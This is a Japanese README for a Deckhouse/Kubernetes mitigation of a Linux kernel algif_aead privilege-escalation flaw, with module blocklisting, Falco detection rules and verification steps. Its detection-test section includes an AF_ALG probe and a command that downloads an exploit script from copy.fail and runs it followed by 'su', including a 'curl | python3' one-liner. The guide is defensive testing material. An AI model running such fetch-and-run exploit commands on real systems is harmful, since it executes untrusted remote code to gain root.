
KubernetesネイティブなCVE-2026-31431対策:自動カーネルモジュールブロック、ランタイムFalco検出ルール、およびDeckhouseクラスタ向けbashibleベースのノード設定。
言語: 英語 | Русский
CVE-2026-31431 は、Linux カーネルの algif_aead モジュールにおける脆弱性です。このモジュールは、AF_ALG ソケットファミリを通じてカーネル暗号 API をユーザ空間に公開します。AEAD(認証付き暗号化と関連データ)インターフェースの欠陥により、ローカルの非特権ユーザーが細工された scattter-gather リストを送信することでカーネル内でメモリ破損を引き起こし、ローカル権限昇格やサービス拒否を引き起こす可能性があります。
脆弱な攻撃対象は、socket(AF_ALG, SOCK_SEQPACKET, 0) を呼び出し、aead タイプのアルゴリズムにバインドすることが許可されているすべてのプロセス(非特権コンテナを含む)から到達可能です。デフォルトの seccomp プロファイルを削除しない、または socket システムコールファミリを制限しないコンテナランタイムは、クラスタノードを攻撃にさらすことになります。
推奨される緩和策は、アップストリームのカーネルパッチが OS パッケージの更新を通じて展開されるまで、すべてのクラスタノードで algif_aead カーネルモジュールを無効にし、ランタイムで攻撃試行を検出することです。
このリポジトリには、Deckhouse 管理クラスタで CVE-2026-31431 を緩和するために必要なすべてが含まれています。
ngc-cve-2026-31431.yaml — ノード側の緩和策NodeGroupConfiguration は各ノードで bashible を通じて実行され、次の 4 つの手順を実行します。
AF_ALG ソケットを開き、aead/gcm(aes) にバインドして、ノード上で脆弱なインターフェースに到達可能かどうかを判断します。/etc/modprobe.d/disable-algif.conf に install ディレクティブを書き込み、algif_aead(およびその上位の af_alg)が手動または依存関係として再度ロードされるのを防ぎます。rmmod algif_aead を実行します。モジュールがカーネルに組み込まれている場合はスキップされます(その場合はブロックリストとランタイム検出のみが適用されます)。冪等性があります。既に緩和済みのノードで設定を再実行しても効果はありません。
far-cve-2026-31431.yaml — ランタイム検出FalcoAuditRules リソースは、プロセスが AF_ALG ソケットを開き、それを aead アルゴリズムにバインドする(この攻撃に特有のシステムコールパターン)たびに Critical イベントをトリガーするカスタム Falco ルールを追加します。また、プロセスが modprobe/insmod を介して algif_aead モジュールをロードしようとした場合に Warning イベントを発行します。緩和済みノードではこれは決して成功すべきではなく、悪用試行またはオペレータの設定ミスの強力なシグナルとなります。
エディションに関する注記:
FalcoAuditRulesはruntime-audit-engineモジュールによって調整されます。このモジュールは Deckhouse Enterprise Edition (EE) および Certified Security Edition (CSE) でのみ提供されます。Community Edition ではこのリソースは処理されません。このリポジトリのNodeGroupConfigurationは引き続き適用され、主要な緩和策となります。
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE のみ:
kubectl apply -f far-cve-2026-31431.yaml
各 NodeGroup のステータスを監視して、設定がすべてのノードに適用されるのを待ちます。Bashible はステップごとの成功を NodeGroup に報告し、Deckhouse はそれを 2 つのフィールドに集約してポーリングできます。
.status.upToDate — 現在の設定で最新の bashible 実行が成功したノードの数。すべてのグループで upToDate == nodes になると収束したことになります。.status.conditionSummary.ready — グループが正常になると "True" になります。いずれかのノードの bashible ステップが失敗した場合(修正が適用できなかったノードで NodeGroupConfiguration の確認ステップが正確に行うことです)、"False" に反転し、理由が人間が読める形式で .status.conditionSummary.statusMessage に表示されます。全グループを一度に確認するには:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
スクリプト可能なチェック(すべてのグループが収束した場合のみ終了コード 0):
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
conditionSummary.ready == "False" で NodeGroup が停止している場合は、.status.conditionSummary.statusMessage を読んでください。失敗した bashible ステップ(この緩和策の確認ステップを含む)が表示されます。
公式修正を含むアップストリームカーネルパッケージがすべてのノードにインストールされたら、両方のリソースを削除します。
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
NodeGroupConfiguration を削除しても、/etc/modprobe.d/disable-algif.conf は自動的には削除されません。モジュールを再度ロード可能にしたい場合は手動でクリーンアップするか、クラスタ上のどのワークロードもカーネル暗号 API を使用しない場合はブロックリストをそのままにしておいてください。
クラスタ全体:
kubectl get nodegroups
UPTODATE が NODES と等しく、すべてのグループでステータスメッセージ列が空であるべきです。
ノード上(SSH または kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
期待される結果:
cat は 4 行の install / blacklist を表示します。lsmod は空です。modprobe -n -v は install /bin/false を出力します。modprobe は exit=1 を返します。このサブセクションを使用して、CVE-2026-31431 用のカスタム FalcoAuditRules が各 PoC 実行時に実際にトリガーされることを検証します。
両方のシナリオに共通の事前チェック:
runtime-audit-engine が正常であることを確認します。kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
期待される結果: DESIRED == READY == AVAILABLE。
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# 重要: -i を使用して Python が stdin スクリプトを受け取るようにする
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
クリーンアップ:
kubectl delete pod cve-31431-test --ignore-not-found
セキュリティ警告: ダウンロードしたスクリプトは実行前に必ずレビューしてください。本番環境ではリモートスクリプトを盲目的に実行しないでください。
推奨(まずレビューしてから実行):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
同等のワンライナー(レビュー/承認後にのみ):
curl https://copy.fail/exp | python3 && su
検出結果を確認:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| ファイル | 目的 |
|---|
ngc-cve-2026-31431.yaml | 脆弱なインターフェースをプローブし、algif_aead のロードをブロックし、現在ロードされている場合はモジュールをアンロードし、修正が有効であることを確認する NodeGroupConfiguration。すべてのバンドルとノードグループに適用されます。 |
far-cve-2026-31431.yaml | AF_ALG ソケットが AEAD アルゴリズムにバインドされた際のランタイムでの脆弱性悪用試行を検出する FalcoAuditRules。Deckhouse Enterprise Edition (EE) および Certified Security Edition (CSE) でのみ利用可能です。runtime-audit-engine モジュールがこれらのエディションに含まれているためです。 |